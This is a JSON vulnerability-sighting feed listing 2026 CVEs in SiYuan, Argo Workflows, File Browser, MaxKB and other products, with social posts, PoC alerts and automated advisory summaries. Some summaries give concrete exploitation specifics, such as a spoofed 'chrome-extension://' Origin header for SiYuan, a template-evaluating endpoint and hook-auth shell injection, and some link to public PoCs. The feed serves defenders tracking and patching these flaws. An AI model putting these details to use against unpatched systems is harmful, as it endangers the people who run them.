\u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/FDF59720-E213-4381-8A57-9783AA137D4B", "creation_timestamp": "2026-07-10T22:22:13.748919Z"}, {"uuid": "46247c21-6dbe-4ec0-9b8a-469f6c80e7cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54000", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqd767pejc2x", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54000 \u0432 osquery: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/69723694-985C-4DAF-8B02-A27CD8CA3306", "creation_timestamp": "2026-07-10T22:30:07.476032Z"}, {"uuid": "95c5da80-4aab-47c8-a079-24bd62bcb8d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54163", "type": "published-proof-of-concept", "source": "https://github.com/github/secure_headers/security/advisories/GHSA-rqq5-2gf9-4w4q", "content": "", "creation_timestamp": "2026-07-10T22:35:03.444531Z"}, {"uuid": "cb356833-a442-4445-ba88-184a23e9e10a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54149", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqd7nuupzf2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54149 \u0432 MaxKB: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/58B24DF0-4314-4D8C-AFCA-04CA11962397", "creation_timestamp": "2026-07-10T22:38:53.343061Z"}, {"uuid": "6d541add-36d8-4ae8-9205-82921606f1d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54919", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdamz6jm42x", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54919 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 cpp-httplib: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/7024E3DE-50D1-4751-A332-82384388DF5A", "creation_timestamp": "2026-07-10T22:56:17.676113Z"}, {"uuid": "9a6e6af6-40e6-4939-a3cc-2c255b74a9eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54149", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mqdbjffybf2u", "content": "CVE-2026-54149 - Critical OS Command Injection in MaxKB. Authenticated users can execute arbitrary commands via malicious .tool import and MCP transport. CVSS 8.8. No patch available yet. Mitigate immediately. #CVE #MaxKB #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54149/", "creation_timestamp": "2026-07-10T23:12:10.492434Z"}, {"uuid": "9a1277e3-4460-41c8-8977-d463d9bf9b77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54159", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqdbtxqsty2r", "content": "CVE-2026-54159 - ps_facetedsearch\nA vulnerability in PrestaShop's ps_facetedsearch module allows an attacker to execute code on your server without needing a login. This can happen if\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#psfacetedsearch #prestashop #composer #CVE #infosec", "creation_timestamp": "2026-07-10T23:18:04.793276Z"}, {"uuid": "b22c67fd-d702-4a51-9374-5e451daed63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54000", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdcnj33hu22", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54000 \u0432 osquery: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/45664949-E31B-49BB-9DA4-AC69367C98B6", "creation_timestamp": "2026-07-10T23:32:21.742870Z"}, {"uuid": "d0085fc3-7f98-4c60-a230-8602ee65b629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54063", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdcwqstcx2s", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54063 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Excelize: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/A2F5B519-DFDA-450C-9572-A5A2D04A065B", "creation_timestamp": "2026-07-10T23:37:31.958214Z"}, {"uuid": "36d1b7da-ca7f-4e14-ba25-249d15f9f94d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54001", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdd3r4mkg2x", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54001 \u0432 osquery: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/8EAA140D-6B20-4E06-AA04-5495643F1165", "creation_timestamp": "2026-07-10T23:40:20.382940Z"}, {"uuid": "4f8f1fbc-7a90-450f-ab88-2e11262dac17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54158", "type": "seen", "source": "https://gist.github.com/alon710/c12d56fc3c8087be09be97f40fd8c89a", "content": "# CVE-2026-54158: CVE-2026-54158: Stored Cross-Site Scripting to Host Remote Code Execution in SiYuan\n\n> **CVSS Score:** 9.9\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54158\n\n## Summary\nA critical-severity Stored Cross-Site Scripting (XSS) vulnerability exists in the SiYuan personal knowledge management system. Due to missing sanitization in the attribute-view cell renderer and an insecure Electron default configuration (nodeIntegration: true), attackers can execute arbitrary commands on the victim's host operating system through synchronized workspaces.\n\n## TL;DR\nMissing output escaping in SiYuan's database view renderer combined with insecure Electron configurations enables attackers to escalate Stored XSS into Remote Code Execution via shared workspaces.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-79, CWE-1188\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 9.9 (Critical)\n- **Exploit Status**: Proof-of-Concept\n- **Access Required**: Low Privileges (PR:L)\n- **User Interaction**: None (UI:N)\n- **Impact**: Remote Code Execution (RCE)\n\n## Affected Systems\n\n- SiYuan Desktop Clients (Electron)\n- SiYuan Self-hosted Synced Workspaces\n- **SiYuan**: < 3.7.0 (Fixed in: `3.7.0`)\n\n## Mitigation\n\n- Upgrade to SiYuan 3.7.0 or higher\n- Disable nodeIntegration in Electron client builds\n- Restrict workspace synchronization to trusted sources\n\n**Remediation Steps:**\n1. Download the latest installer for SiYuan version 3.7.0 or newer from the official repository.\n2. Install the update to replace the vulnerable frontend rendering components.\n3. Verify that any shared workspaces do not contain modified attribute-view databases with script injections.\n\n## References\n\n- [GitHub Security Advisory GHSA-5xfx-xj4h-5p7r](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r)\n- [NVD Detail Page](https://nvd.nist.gov/vuln/detail/CVE-2026-54158)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54158) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-11T00:12:22.474252Z"}, {"uuid": "d9e021f9-5754-4a18-8cb1-5dd1ec311101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54423", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdfyao3qs2x", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54423 \u0432 OpenStack Ironic: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B352A32E-37DA-40B9-95CC-F428B4315992", "creation_timestamp": "2026-07-11T00:32:03.535020Z"}, {"uuid": "cabd10b9-3841-486b-9793-4ded9223b5b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54149", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdh2l4fg72s", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54149 \u0432 MaxKB: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/3166473E-18C7-424F-9E3D-A07720D8754D", "creation_timestamp": "2026-07-11T00:51:15.218995Z"}, {"uuid": "9a51b1d9-d416-43a1-a50c-8dc7290a521a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54063", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdhbhp6hh27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54063 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Excelize: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6172A7C3-40BC-4332-8077-3A95BF95B9B1", "creation_timestamp": "2026-07-11T00:55:06.449341Z"}, {"uuid": "1b70529a-62ec-4bc2-bdf2-115eaf7c7ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54526", "type": "seen", "source": "https://gist.github.com/alon710/ee760ed8dd4e3944f68b62f514473cdc", "content": "# CVE-2026-54526: CVE-2026-54526: Strict Template Referencing Bypass and Privilege Escalation in Argo Workflows\n\n> **CVSS Score:** 9.9\n> **Published:** 2026-08-13\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54526\n\n## Summary\nA critical security bypass vulnerability in Argo Workflows allows authenticated attackers with workflow submission privileges to bypass 'Strict' or 'Secure' template referencing restrictions. By injecting unvalidated fields into the nested ArtifactGC configuration, attackers can execute arbitrary pod patches, leading to host namespace escape and cluster-wide privilege escalation.\n\n## TL;DR\nArgo Workflows fails to recursively validate the ArtifactGC structure during template override sanitization, enabling attackers to inject custom pod spec patches and service accounts to compromise worker nodes.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-284\n- **Attack Vector**: Network\n- **CVSS v3.1**: 9.9 (Critical)\n- **CVSS v4.0**: 8.9 (High)\n- **Exploit Maturity**: Proof-of-Concept / Technical Bypass\n- **CISA KEV Status**: Not Listed\n- **Ransomware Use**: No\n\n## Affected Systems\n\n- Argo Workflows\n- **Argo Workflows**: >= 3.7.0, < 3.7.15 (Fixed in: `v3.7.15`)\n- **Argo Workflows**: >= 4.0.0, < 4.0.6 (Fixed in: `v4.0.6`)\n\n## Mitigation\n\n- Upgrade to Argo Workflows v3.7.15, v4.0.6, or later versions.\n- Deploy Kyverno or OPA Gatekeeper policies to reject Workflow submissions with nested ServiceAccountName or PodSpecPatch in ArtifactGC.\n- Apply least-privilege RBAC to all workflow service accounts to minimize the blast radius of a potential compromise.\n\n**Remediation Steps:**\n1. Identify current deployed versions of Argo Workflows across all clusters.\n2. Apply the update to v3.7.15 (for 3.7.x) or v4.0.6 (for 4.0.x) using Helm or kubectl apply.\n3. Verify the installation by testing workflow submissions with custom podSpecPatch fields under ArtifactGC to ensure they are blocked.\n4. Monitor controller logs for any validation errors indicating rejected submissions containing unauthorized overrides.\n\n## References\n\n- [Official Fix Commit](https://github.com/argoproj/argo-workflows/commit/277e9cef0ad16d7eaaab253573d0695951a65dbd)\n- [Backported Fix Commit](https://github.com/argoproj/argo-workflows/commit/358cc3968c8f06f1be0967e41df191088db0b662)\n- [v3.7.15 Release Notes](https://github.com/argoproj/argo-workflows/releases/tag/v3.7.15)\n- [v4.0.6 Release Notes](https://github.com/argoproj/argo-workflows/releases/tag/v4.0.6)\n- [GitHub Advisory Portal (GHSA-48p8-g2fx-3wwm)](https://github.com/argoproj/argo-workflows/security/advisories/GHSA-48p8-g2fx-3wwm)\n- [National Vulnerability Database Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-54526)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54526) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-13T17:32:46.863393Z"}, {"uuid": "70ae3131-e630-496a-8872-1f816c7749aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54714", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdlbcoelt2c", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54714 \u0432 Logto: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/E53E343E-A208-4454-86B4-EA3B9BC2BD5C", "creation_timestamp": "2026-07-11T02:06:36.026315Z"}, {"uuid": "dd75cea4-00eb-49a4-961a-60a3c201e07a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54088", "type": "seen", "source": "https://gist.github.com/alon710/df4eb1ffd54e58f3fa15744ed3724d35", "content": "# CVE-2026-54088: CVE-2026-54088: Pre-Authentication Remote Code Execution in File Browser Hook Authentication\n\n> **CVSS Score:** 9.3\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54088\n\n## Summary\nCVE-2026-54088 is a critical command injection vulnerability in File Browser prior to version 2.63.6. When Hook Authentication is enabled, the application interpolates unsanitized credentials into a shell command, allowing unauthenticated remote code execution.\n\n## TL;DR\nUnauthenticated remote command execution vulnerability in File Browser's Hook Authentication feature via unsanitized username/password inputs.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-78\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 9.3 (Critical)\n- **EPSS Score**: 0.00533 (Percentile: 41.19%)\n- **Impact**: Pre-Authentication Remote Code Execution\n- **Exploit Status**: Public Proof-of-Concept Available\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- File Browser (all deployments using Hook Authentication prior to 2.63.6)\n- **filebrowser**: < 2.63.6 (Fixed in: `2.63.6`)\n\n## Mitigation\n\n- Upgrade File Browser to version 2.63.6 or later.\n- Disable Hook Authentication and fall back to local database authentication.\n- Deploy Web Application Firewall (WAF) rules to inspect login payloads.\n\n**Remediation Steps:**\n1. Identify running File Browser instances and check current versions.\n2. Pull and deploy the patched version (v2.63.6 or higher).\n3. If immediate patching is impossible, disable the Hook Auth feature via configuration.\n4. Verify the vulnerability is resolved by testing with safe canary injection attempts.\n\n## References\n\n- [NVD - CVE-2026-54088](https://nvd.nist.gov/vuln/detail/CVE-2026-54088)\n- [CVE - CVE-2026-54088](https://www.cve.org/CVERecord?id=CVE-2026-54088)\n- [File Browser v2.63.5 Vulnerable auth/hook.go Source Code](https://github.com/filebrowser/filebrowser/blob/v2.63.5/auth/hook.go)\n- [Saku0512 Public PoC Repository](https://github.com/Saku0512/CVE-2026-54088-poc)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54088) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-11T02:41:50.212610Z"}, {"uuid": "12db9681-864e-49f3-9a36-ca4370041974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54089", "type": "seen", "source": "https://gist.github.com/alon710/3054e318d0e890a38da4e9f158827df1", "content": "# CVE-2026-54089: CVE-2026-54089: Authentication Bypass by Spoofing in File Browser\n\n> **CVSS Score:** 9.1\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54089\n\n## Summary\nCVE-2026-54089 is a critical authentication bypass vulnerability in File Browser affecting instances configured with proxy-based authentication. An unauthenticated remote attacker with direct network access can impersonate arbitrary users or register new accounts by spoofing configured HTTP headers.\n\n## TL;DR\nUnauthenticated network-adjacent or remote attackers can gain full administrative access to File Browser instances by forging identity headers when the service is exposed without a validating reverse proxy.\n\n## Technical Details\n\n- **CWE ID**: CWE-290\n- **Attack Vector**: Network\n- **CVSS v3.1**: 9.1 (Critical)\n- **EPSS Score**: 0.00337\n- **Exploit Status**: None\n- **KEV Status**: Not listed\n\n## Affected Systems\n\n- File Browser deployments configured with proxy authentication (auth.method=proxy) that are directly exposed to untrusted networks\n- **File Browser**: >= 2.0.0-rc.1 (Fixed in: `None`)\n\n## Mitigation\n\n- Bind File Browser exclusively to localhost (127.0.0.1) or an internal isolated network.\n- Configure the upstream reverse proxy to sanitize, strip, or overwrite incoming client-supplied identity headers.\n- Disable proxy authentication if network-level source verification and header sanitation cannot be enforced.\n\n**Remediation Steps:**\n1. Verify the configured listen address in File Browser configuration or CLI command line flags (ensure it uses -a 127.0.0.1).\n2. Inspect the upstream proxy (e.g., Nginx, Traefik) and insert rules to clear client-supplied versions of the designated authentication header.\n3. Test vulnerability exposure by making a direct curl query to /api/login from an external network segment with the header set to verify it is blocked.\n\n## References\n\n- [GitHub Security Advisory GHSA-xqp3-jq6g-x3qm](https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm)\n- [File Browser Proxy Authentication Code](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go)\n- [File Browser Authentication Endpoint Code](https://github.com/filebrowser/filebrowser/blob/main/http/auth.go)\n- [NVD CVE-2026-54089 Details](https://nvd.nist.gov/vuln/detail/CVE-2026-54089)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54089) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-11T03:42:32.121308Z"}, {"uuid": "53bea1f4-c919-4cf4-bf2b-2a2f2c09b72c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54069", "type": "seen", "source": "https://gist.github.com/alon710/4e3f9aded7567695df7a9de4278d2ca5", "content": "# CVE-2026-54069: CVE-2026-54069: Authentication Bypass in SiYuan Note via Origin Header Spoofing\n\n> **CVSS Score:** 9.1\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54069\n\n## Summary\nCVE-2026-54069 is a critical authentication bypass vulnerability in the SiYuan Note personal knowledge management system. The flaw is located in the HTTP server's middleware handling API authorization, which unconditionally trusts requests carrying a 'chrome-extension://' scheme in the Origin HTTP header, granting administrative access without validating API tokens.\n\n## TL;DR\nA flaw in SiYuan Note's authorization middleware permits remote and local attackers to bypass authentication entirely by presenting a crafted Origin header starting with 'chrome-extension://'.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-346\n- **Attack Vector**: Network\n- **CVSS Score**: 9.1 (Critical)\n- **EPSS Score**: 0.00607\n- **Exploit Status**: poc\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- SiYuan Note Kernel\n- **SiYuan Note**: < 3.7.0 (Fixed in: `3.7.0`)\n\n## Mitigation\n\n- Upgrade to version 3.7.0 or later\n- Ensure application binds strictly to localhost (127.0.0.1)\n- Restrict browser extensions in environments where desktop client runs\n\n**Remediation Steps:**\n1. Verify the current running version of the SiYuan Note kernel.\n2. Download and install version 3.7.0 or newer from the official GitHub release page.\n3. Update internal configuration files to bind services exclusively to loopback network interfaces.\n\n## References\n\n- [GitHub Security Advisory GHSA-hvr9-72v2-fff3](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hvr9-72v2-fff3)\n- [NVD - CVE-2026-54069](https://nvd.nist.gov/vuln/detail/CVE-2026-54069)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54069) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-11T04:12:19.280241Z"}, {"uuid": "7326db5c-a8a7-48f6-acb3-62b1cbf4b920", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54068", "type": "seen", "source": "https://gist.github.com/alon710/5b22d6c437eabc82b89ba6fa8ccee27d", "content": "# CVE-2026-54068: CVE-2026-54068: Unauthenticated Server-Side Template Injection and SQLite Exfiltration in SiYuan PKM\n\n> **CVSS Score:** 5.9\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54068\n\n## Summary\nAn authentication bypass in the SiYuan personal knowledge management system before version 3.7.0 exposes a dynamic icon rendering endpoint. This endpoint processes client-supplied Go template directives. By submitting a crafted request, an unauthenticated remote attacker can leverage registered database template functions to execute arbitrary read-only SQL queries and exfiltrate workspace contents.\n\n## TL;DR\nAn unauthenticated API endpoint in SiYuan PKM before 3.7.0 evaluates user-controlled input using the Go template engine. Remote attackers can leverage registered SQL helper functions to query the underlying SQLite database and exfiltrate notes, credentials, and system metadata.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-306\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 5.9 (Medium)\n- **EPSS Score**: 0.00239 (Percentile Rank: 14.92%)\n- **Impact**: High Confidentiality Leakage\n- **Exploit Status**: Proof-of-Concept\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- SiYuan Open-Source Personal Knowledge Management System\n- **siyuan**: < 3.7.0 (Fixed in: `3.7.0`)\n\n## Mitigation\n\n- Upgrade SiYuan to version 3.7.0 or newer.\n- Restrict network access to the SiYuan API and web UI using reverse proxies or firewall ACLs.\n- Monitor HTTP access logs for requests containing the .action parameter targeting /api/icon/getDynamicIcon.\n\n**Remediation Steps:**\n1. Verify the running version of SiYuan using the version endpoint or the application UI.\n2. Update the Docker image or localized installation to version 3.7.0.\n3. Restart the service and confirm that accessing /api/icon/getDynamicIcon without an authorization header yields an HTTP 401 Unauthorized response.\n\n## References\n\n- [GitHub Security Advisory GHSA-gcm7-57gf-953c](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gcm7-57gf-953c)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54068) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-11T04:41:43.033051Z"}, {"uuid": "8fe50aba-c7f4-4f8f-86a4-75f039fc48e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54113", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0284", "content": "", "creation_timestamp": "2026-08-11T20:16:45.173609Z"}, {"uuid": "17c92c74-3ca6-46b8-b908-91e93f020e9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54433", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98057", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54433\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aramosf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-14 14:24:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54433 Roundcube plain-text email stored XSS PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-16T00:00:48.999412Z"}, {"uuid": "83f9bc26-64ed-4dee-9045-c6a8063f1439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54329", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqf5agynjb2r", "content": "\ud83d\udfe0 CVE-2026-54329 - High (8.5)\n\nSnipe-IT is an IT asset/license management system. Prior to 8.6.2, the Accessories API create pat...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54329/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-11T17:00:54.680386Z"}, {"uuid": "9a93dbf4-06ec-4bb3-a9fc-29bc7848f7f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5435", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mqf6dud3zz25", "content": "[Backport staging-26.05] glibc: fix CVE-2026-5435 and CVE-2026-6238\n\nhttps://github.com/NixOS/nixpkgs/pull/540777\n\n#security", "creation_timestamp": "2026-07-11T17:20:42.722187Z"}, {"uuid": "5f724d0c-faf2-4e0e-83f8-a4f0bf65507b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqfsyi6xqc2i", "content": "CISA Adds Two Known Exploited Vulnerabilities to Catalog\nRelease Date June 15, 2026\n\nCVE-2026-20262 Cisco Catalyst SD-WAN Manager Directory or Path Traversal Vulnerability\nCVE-2026-54420 LiteSpeed cPanel Plugin UNIX Symbolic Link (Symlink) Following Vulnerability", "creation_timestamp": "2026-07-11T23:30:09.491925Z"}, {"uuid": "9600df9c-c34e-4d32-95fd-642b605eec33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54063", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqfhbphs4f25", "content": "\ud83d\udfe0 CVE-2026-54063 - High (7.5)\n\nExcelize is a Go language library for reading and writing Microsoft Excel spreadsheets. Prior to ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54063/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-11T20:00:34.692008Z"}, {"uuid": "73c63e55-46a9-406c-82cb-2fb67add7839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54984", "type": 